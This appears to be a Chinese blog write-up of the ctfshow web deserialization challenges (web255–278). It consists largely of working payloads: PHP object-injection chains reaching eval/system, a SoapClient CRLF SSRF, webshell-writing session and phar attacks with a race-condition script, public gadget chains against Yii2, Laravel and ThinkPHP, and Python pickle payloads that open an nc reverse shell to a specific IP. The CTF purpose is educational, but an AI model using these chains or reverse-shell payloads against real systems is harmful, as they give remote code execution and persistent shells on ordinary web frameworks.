好的,又开了一个新系列,加油~
后面只总结我觉得有必要总结的了,如果有什么问题可以留言问我
强烈推荐Y4tacker师傅的文章:[CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_php反序列化ctf,真的挺全了
web255
payload:username=xxxxxx&password=xxxxxx
web256-257
有一个技巧,反序列化的格式可以直接用php生成,就不用手动输入了
例:
isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $a=new ctfShowUser(); echo serialize($a); ?>
传cookie的时候需要urlencode一下,其它的没啥了,逻辑很简单
web258
源代码:
class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
这道题本质上是要执行命令,也就是要调用backDoor类里面的getInfo()方法
关键就在于如何调用,我们可以看到user类里面是可以在__destruct()方法里面调用的
我们看到,在__construct()方法里面$class是一个info类对象,这显然不是我们想要的。
那我们来看一下,真的会执行__construct()方法吗?
unserialize函数,实际上以下面的流程执行:
1.根据序列化形式,进行反序列化操作,直接转换成对应类的一个临时对象。(这里是Bsides类)
注意:这里系统执行时不会认为创建了一个新对象,而是一个已有的对象,所以不会执行__construct魔术方法(该方法只有在创建了新对象的时候才会执行)
2.如果有赋值,把这个临时对象赋给另一个变量进行管理,那么该临时对象由于被接收所以不会被销毁(应该是变量指向了这个对象的地址),然后该对象由该变量管理,并且在程序正常结束之后被销毁(此时会执行__destruct魔术方法!)
注意:如果程序没有正常退出,是无法正常销毁对象和执行__destruct的
3.如果没有赋值,临时对象在产生之后被销毁(此时会执行__destruct魔术方法!)
所以,__construct()方法是不会被执行的,而$class的值是由我们传入的反序列化字符串决定的,也就是可控的!
所以说,我们可以把$class赋值成backDoor类对象,这样就可以进行调用,从而RCE~(backDoor的code属性也是可控的)
生成payload:
class=new backDoor(); } public function __destruct(){ //$this->class->getInfo(); } } class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code='system(\'tac flag.php\');'; public function getInfo(){ eval($this->code); } } $a=new ctfShowUser(); echo urlencode(serialize($a)); ?>
注意private属性的反序列化格式!(看看Y4tacker师傅的博客),空字节需要手动在url编码里面加上%00
最终payload:
cookie里面:
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system('tac%20flag.php')%3B%22%3B%7D%7D
url:http://3637f962-7005-4494-96c2-d40464ebb025.challenge.ctf.show/?username=xxxxxx&password=xxxxxx
web259
这道题加了个正则过滤,不过匹配的是O:加上整数这种结构,直接加上一个+号变成O:+4这种结构就可以绕过了
生成payload:
class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ //$this->class->getInfo(); } } class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ public $code="system('tac flag.php');"; public function getInfo(){ eval($this->code); } } $a=new ctfShowUser(); $b=urlencode(str_replace("O:","O:+",serialize($a))); echo $b; ?>
哦对了还有,这道题把private改成public属性了,要注意重新生成payload,不要照抄上一道题的payload了...
相关题目:BSides Noida CTF 2021 web题wowooo&freepoint writeup(两道反序列化)
web260
源码:
index.php
getFlag();
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
首先,一看127.0.0.1,第一反应就是SSRF,又看到了XFF(X-Forward-For),那就想是不是伪造XFF头变成127.0.0.1
这种思路是行不通的,因为这道题的环境使用了cloudflare代理,每经过一层代理,就会把代理服务器的地址附加到XFF头中。这道题有两层代理,相当于在XFF头中附加了两次IP地址,假设你对XFF进行伪造,经过代理之后结果就是127.0.0.1,代理IP1,代理IP2
然后,在flag.php中执行了一次array_pop,删除了倒数第一个地址代理IP2,第二次执行array_pop返回值是删除的元素,所以结果是代理IP1,也就是说,无论你怎么伪造XFF头,结果都一定不会是127.0.0.1
那么就需要另辟蹊径。我们肯定想造成SSRF,让index.php去访问flag.php,并且请求参数我们还可控。
再看index.php,发现有一个反序列化,调用了一个不存在的getFlag方法,而且还没有已知类。这种情况一般都是php内置的原生类进行反序列化。比较常用的就是SoapClient类,简单来说,这个类本身是一个http包,并且它的__call()方法可以将实例化的http包发送出去,可以通过这个类来构造SSRF。
同时,这个类允许控制user_agent和SOAPAction头,常用的是user_agent,因为这个http头位置靠前,可以控制Content-Type和Content-Length以及postdata,从而完成post包的完全控制,这种攻击叫做CLRF。
相关资料:
CRLF Injection漏洞的利用与实例分析 - phith0n (wooyun.js.org)
SoapClient反序列化SSRF - 知乎 (zhihu.com)
从一道题学习SoapClient与CRLF组合拳_Y4tacker的博客-CSDN博客
payload生成:
'ssrf', //目标命名空间,随便写 'location'=>$url, //目标地址 'user_agent'=>'yink^^Content-Type: application/x-www-form-urlencoded^^X-Forwarded-For: 127.0.0.1,127.0.0.1^^Content-Length: ' .strlen($data)."^^^^".$data //user_agent可以控制Content-Type和Content-Length以及postdata )); $b=str_replace('^^',"\r\n",serialize($client)); //注意这里的\r\n是转义字符,要用双引号 echo urlencode($b);
解释:
利用CLRF漏洞,控制Content-Type为application/x-www-form-urlencoded,这样才能post键值对(插入\r\n完成CLRF攻击)
X-Forwarded-For写成127.0.0.1,通过验证
Content-Length只写我们想传的数据的长度,剩下的无用数据会被丢弃
data直接写键值对
注意行与行之间只有一个\r\n,但是http头和http body之间有两个\r\n区分
生成的payload经过url编码直接传入GET的vip参数,再访问flag.txt即可
web260
不是只有类的实例才能序列化,各种类型都可以序列化进行传输,包括字符串,比如
的结果就是s:18:"ctfshow_i_love_36D";
所以这里直接传入?ctfshow=ctfshow_i_love_36D就可以了
web261
源码:
username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); } public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } } unserialize($_GET['vip']);
这道题主要是__serialize和__unserialize魔术方法
这是两个php7.4后才生效的特性
参见____serialize和__unserialize魔术方法详解_yink12138的博客-CSDN博客
这道题只会执行__unserialize和__destruct方法,$this->code是由username和password拼接而成,__destruct里面显然有个php弱比较,username写877.php就可以满足$this->code==0x36d了
脚本:
"; public $code=0x36d; } $vip=new ctfshowvip(); $vip=urlencode(serialize($vip)); $url="http://07ecef24-f349-4ec6-973e-85ff007f1e16.challenge.ctf.show/?vip=".$vip; $url2="http://07ecef24-f349-4ec6-973e-85ff007f1e16.challenge.ctf.show/877.php"; file_get_contents($url); echo file_get_contents($url2); ?>
(写个一句话木马也可以)
web262
本意应该是想考字符串反序列化逃逸,结果没考成,cookie完全可控,直接构造一个token=admin的实例就可以了
payload:
在message.php里面set cookie访问就可以了~
字符串反序列化逃逸相关题目还是看这篇文章:BSides Noida CTF 2021 web题wowooo&freepoint writeup(两道反序列化) - yink's studio (yinkstudio.xyz)
WEB263
emmm又是一个新的知识点(我tcl...)
首先是www.zip源码泄露,直接访问下载源码
这道题有一行关键提示代码:
ini_set('session.serialize_handler', 'php');
这是个典型特征,当不同页面设置的session.serialize_handler不同,对于同一个session会有不同的解读方式,就会造成任意类的session反序列化漏洞,具体可以参见深入浅析PHP的session反序列化漏洞问题_php实例_脚本之家 (jb51.net),这里把session.serialize_handler设置为php,那么默认的session.serialize_handler应该是php_serialize
如果对session不够了解,可以看一下我写的session原理解析php中session简单分析 - yink's studio (yinkstudio.xyz)
确定了方向,来看如何利用。
index.php
显然我们可以通过cookie中的limit控制session中的limit,写入方式是php_serialize
check.php
无论成功还是失败,都会重置session,这是我们不想看到的。所以不能访问check.php
inc.php
看到了User类,这个类的__destruct方法是关键方法,可以用来写马,username是文件名,password是内容,完全可控
同时还有
可以用来反序列化session
看到这里,其实利用链已经出来了。
用伪造的cookie访问index.php,写入session,然后访问inc.php,利用里面的session_start()反序列化session,然后执行__destruct方法写shell就行了
payload生成:
username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } } $a=new User('yink.php',''); echo urlencode(base64_encode("|".serialize($a))); ?>
原理:在你cookie写入后,session应该是这样的形式:
a:1:{s:5:"limit";s:length:"可控的写入部分"}
然后,我们想要在inc.php读取的时候得到User类的序列化字符串:
O:4:"User":3:{s:8:"username";s:8:"yink.php";s:8:"password";s:24:"";s:6:"status";N;}
那么,我们只需要在O的前面加上|,就可以把前面都视为类名。同时,反序列化会在遇到第一个}之后终止,不会继续读取后面的内容,所以不用担心后面的"}会影响反序列化。可控的部分只需要传入User类的序列化字符串再base64编码即可,注意base64中可能有+号,需要再进行一次url编码
最终payload:
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo4OiJ5aW5rLnBocCI7czo4OiJwYXNzd29yZCI7czoyNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2BIjtzOjY6InN0YXR1cyI7Tjt9
将cookie中的limit改成这个值,访问index.php,再访问inc/inc.php,最后访问写入的shell即可
WEB264
源码:
index.php
from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); $_SESSION['msg']=base64_encode($umsg); echo 'Your message has been sent'; } highlight_file(__FILE__);
message.php
from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); $_SESSION['msg']=base64_encode($umsg); echo 'Your message has been sent'; } highlight_file(__FILE__);
这道题没啥好说的哈,主要是要把session搞出来,所以必须用反序列化逃逸了,详见Y4tacker师傅的博客或者前面我自己的那两道反序列化题的wpBSides Noida CTF 2021 web题wowooo&freepoint writeup(两道反序列化) - yink's studio (yinkstudio.xyz)
payload:/index.php?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22;s:5:%22token%22;s:5:%22admin%22;}
再访问message.php,注意要在cookie里面加一个msg
WEB265
一开始以为是md5或者随机数的洞,然后搜了一下,这里md5(mt_rand())是用的随机种子,真·随机...
看了wp,这里是利用引用,地址传值,就能保证password的值随着token的值的改变而改变
payload生成:
token='a'; $this->password = &$this->token; } public function login(){ return $this->token===$this->password; } } $a=new ctfshowAdmin(); echo urlencode(serialize($a)); ?>
WEB266
源码:
username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); }
首先,file_get_contents会拿到post数据(注意并不能执行命令,include才可以!)
然后,这里unserialize之后被$ctfshowo接收,然后如果$cs里面有ctfshow就会抛一个Exception。非正常退出是无法执行__destruct方法的
那我们就要让$cs中没有ctfshow,又能正常反序列化。其实这里的正则给出了提示,没有大小写过滤,这不太正常...
php里面,对于类名的大小写不敏感,可以利用这个绕过正则
payload:O:7:"Ctfshow":2:{s:8:"username";s:1:"a";s:8:"password";s:1:"b";}
PHP里面函数不区分大小写,类也不区分大小写,只有变量名区分
WEB267
这道题体现出了信息搜集的重要性...首先找一下框架,看源码发现有个yii.js,那应该就是yii框架,进去看发现是2.0版本,上网搜了一下正好有个反序列化漏洞,那肯定就是这个漏洞,不过反序列化点得自己找
有个login,用admin,admin弱口令登录成功,再看About发现出现变化了,这里应该有问题
看源码,果然有问题,看到了有个提示
PS:这里就体现出信息搜集的重要了,提前扫目录,所有的链接,源码...注意细节,耐心去看~
我们访问index.php?r=site%2Fabout&view-source,看到了这样的代码:
那个/backdoor/shell,我一开始以为是目录,后来发现这是路由,需要传到r的值里面,访问index.php?r=backdoor/shell,看到了一个新页面,让我传code参数
网上随便找了一个payload生成的脚本:
checkAccess = 'passthru';//命令名称 $this->id = 'cat /flag';//命令参数 } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction(), 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>
注意,这里的命令执行有些限制,有些命令没回显。我看群主用的dnslog外带可以让一些命令回显出来但也不是全部,phpinfo(1)可以执行,wget外带没问题,system没回显。
可以利用shell_exec和echo写马(RCE要么直接执行要么写入木马),或者readfile加上/flag也可以,或者passthru执行命令是有回显的,当一个姿势不对要多换几个姿势~
WEB268
这道题过滤了上一道题的链子,那我们再找个链子就好啦
checkAccess = 'passthru'; $this->id = 'cat /flags'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ // 这里需要改为isRunning $this->formatters['isRunning'] = [new CreateAction(), 'run']; } } } // poc2 namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes; public function __construct() { $this->processes = [new Generator()]; } } } namespace{ // 生成poc echo base64_encode(serialize(new Codeception\Extension\RunProcess())); }
另一个链子:
checkAccess = $func; $this->id = $param; } } } namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; } } } namespace yii\db { use yii\base\BaseObject; class BatchQueryResult { private $_dataReader; public function __construct($func, $param) { $this->_dataReader = new \yii\web\DbSession($func, $param); } } } namespace { $exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "" >/var/www/html/basic/web/1.php'); echo(base64_encode(serialize($exp))); } ?>
WEB269
另一个链子
checkAccess = 'passthru'; $this->id = 'cat /flagsa'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ // 这里需要改为isRunning $this->formatters['render'] = [new CreateAction(), 'run']; } } } namespace phpDocumentor\Reflection\DocBlock\Tags{ use Faker\Generator; class See{ protected $description; public function __construct() { $this->description = new Generator(); } } } namespace{ use phpDocumentor\Reflection\DocBlock\Tags\See; class Swift_KeyCache_DiskKeyCache{ private $keys = []; private $path; public function __construct() { $this->path = new See; $this->keys = array( "axin"=>array("is"=>"handsome") ); } } // 生成poc echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache())); } ?>
WEB270
是用的群主的链子,三个链子都试了一下,哪个打得通用哪个
payload:code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTtwaHBpbmZvKCk7Pz4iID4vdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19
三个链子参考自:Yii反序列化漏洞分析 - Thresh| - 博客园 (cnblogs.com),师傅tql!
WEB271
这次是Laravel的链子,上网找的POC:
command="system"; $this->parameters[]="cat /flag"; $this->test=new GenericUser(); $this->app=new Application(); } } } namespace Illuminate\Foundation{ class Application{ protected $bindings = []; public function __construct(){ $this->bindings=array( 'Illuminate\Contracts\Console\Kernel'=>array( 'concrete'=>'Illuminate\Foundation\Application' ) ); } } } namespace Illuminate\Auth{ class GenericUser { protected $attributes; public function __construct(){ $this->attributes['expectedOutput']=['hello','world']; $this->attributes['expectedQuestions']=['hello','world']; } } } namespace{ use Illuminate\Foundation\Testing\PendingCommand; echo urlencode(serialize(new PendingCommand())); }
参考:laravel5.7 反序列化漏洞复现_feng的博客-CSDN博客_laravel反序列化漏洞
(总有一天我要自己挖链子!)
WEB272
翻山越岭找到了一条新链子~
event = $event; $this->events = $events; } } } namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver) { $this->queueResolver = $queueResolver; } } } namespace Illuminate\Queue { class CallQueuedClosure { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Validation{ class Validator { public $extensions = array(''=>'system'); }} namespace { $d = new Illuminate\Validation\Validator(); //$b = new Illuminate\Queue\CallQueuedClosure('whoami'); //$c = new Illuminate\Bus\Dispatcher($d); $a = new Illuminate\Broadcasting\PendingBroadcast($d,'cat /flag'); echo urlencode(serialize($a)); }
参考:Laravel5.8.x反序列化填坑学习 - 知乎 (zhihu.com)
群主上一题的链子也能用,写马可以执行只是看不到执行页面而已,访问写入的马就可以了
WEB273
上一题的两种方法都能用,不多说了
WEB274
thinkphp框架,网上找了个poc:
filter = 'system'; $this->param = ['cat /flag']; $this->hook = ['visible'=>[$this,'isAjax']]; $this->config = ['var_ajax' => '']; } } abstract class Model{ protected $append = []; private $data = []; function __construct() { $this->append = ['Th0r' => ['a']]; $this->data = ['Th0r' => new Request()]; } } namespace think\model; use think\Model; use think\Request; class Pivot extends Model { } namespace think\process\pipes; use think\model\Pivot; class Pipes{} class Windows extends Pipes { private $files = []; function __construct(){ $this->files = [new Pivot()]; } } echo base64_encode(serialize(new Windows()));
参考:thinkphp 5.1.x反序列化分析 - Th0r - 博客园 (cnblogs.com)
WEB275
先上源码:
filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile){ system('rm '.$this->filename); } } } if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; }
找关键函数,有两个,一个是file_put_contents,一个是system。不过file_put_contents限制太多,文件名不能是php基本就废了。所以肯定是用system函数RCE
system函数自带一个rm,这个好办,分号分隔就行了;filename参数我们是可控的,要求evalfile属性为真,那我们只需要让filename中带有php就可以了
所以最终payload:?fn=php;tac flag.php
WEB276
源码:
filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile && $this->admin){ system('rm '.$this->filename); } } } if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; }
这道题多了一个admin属性,默认为false还没有赋值语句,那就执行不了system了。file_put_contents还是没办法直接写马,php被过滤了
这道题需要用phar反序列化,本质上,phar文件类似于java中的jar包,可以用phar://伪协议来访问其内部内容。例如:phar://1.phar/1.php就是访问1.phar包里面的1.php文件,注意,在访问的时候,其metadata字段会被反序列化,我们可以访问构造好的phar包来实现任意类的反序列化
源码中并没有反序列化的操作,但是有file_put_contents,可以支持以phar://伪协议打开phar文件,同时,还可以上传phar包,文件名中并没有过滤phar
所以,当允许上传phar包,并且有支持phar://伪协议打开包的函数,我们就可以借助phar实现任意类的反序列化
先构造phar包:
filename='1;tac fla?.ph?'; $this->filecontent=''; } } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub(""); $o = new filter(); $phar->setMetadata($o); //set metadata $phar->addFromString("test.txt", "test"); //向里面加入压缩数据 $phar->stopBuffering();
这道题需要用到条件竞争,因为生成之后就会删除掉。可以考虑在文件中加入比较长的字符串,这样copy操作会执行更多时间,更容易竞争成功
条件竞争:
import requests import threading url="http://0997e2a3-ea76-4476-b713-108a482b9406.challenge.ctf.show/" f=open("phar.phar","rb") content=f.read() print(content) def upload(): r=requests.post(url=url+"?fn=1.phar",data=content) #print(r.text) def read(): r=requests.post(url=url+"?fn=phar://1.phar",data="1") if "ctfshow" in r.text: print(r.text) while(1): t1=threading.Thread(target=upload()) t2=threading.Thread(target=read()) t1.start() t2.start()
不过群主限制了访问频率,条件竞争跑不了了,做法是这么个做法
WEB277
这道题进去没啥想法,那肯定看源码,发现提示,访问/backdoor
上网搜了一下,发现是python的反序列化,所以我们需要传入一个序列化字符串。python中序列化和反序列化主要使用pickle.dumps和pickle.loads,关于利用,主要是利用__reduce__函数,原理参见Python反序列化安全问题 - SegmentFault 思否
os.system用不了,应该命令执行都没回显。这种要么写马要么外带要么反弹shell,这道题考虑反弹shell,可以用eval结合popen(用eval是因为popen需要用.read方法执行,直接把popen作为主函数写不出来read方法)
同时注意python中的eval跟php里面的还不一样,python中的eval只能返回单个表达式的结果,不能执行复杂代码,引入也只能用__import__来引入,写成一个表达式的形式
这道题bash弹不出来shell,用nc可以
payload:
import pickle import os import base64 class payload(object): def __reduce__(self): return (eval, ("__import__(\"os\").popen(\"nc ip port -e /bin/sh\").read()",)) a = payload() b = base64.b64encode(pickle.dumps(a)) print(b) print(pickle.loads(base64.b64decode(b)))
WEB278
os.system没了,不过不影响,重新写了个payload
import base64 import pickle import os class CTFshow(): def __init__(self, show): self.show = show def sw(self): print(self.show) def __reduce__(self): return (eval, ("__import__('os').popen('nc 101.34.164.187 6767 -e /bin/sh').read()",))#双引号要加上,不然直接在本地执行了 cs = CTFshow("ctfshow{this_is_your_show") ctfshow_ser = pickle.dumps(cs) print(base64.b64encode(ctfshow_ser))
OK,反序列化AK~
本人博客:https://yinkstudio.xyz,欢迎关注~
参考博客:
CTFshow-WEB入门-反序列化_feng的博客-CSDN博客_ctfshow 反序列化
CTFSHOW 反序列化篇_羽的博客-CSDN博客_ctfshow 反序列化
[CTFSHOW]反序列化(仅更新必要的题目)_Y4tacker的博客-CSDN博客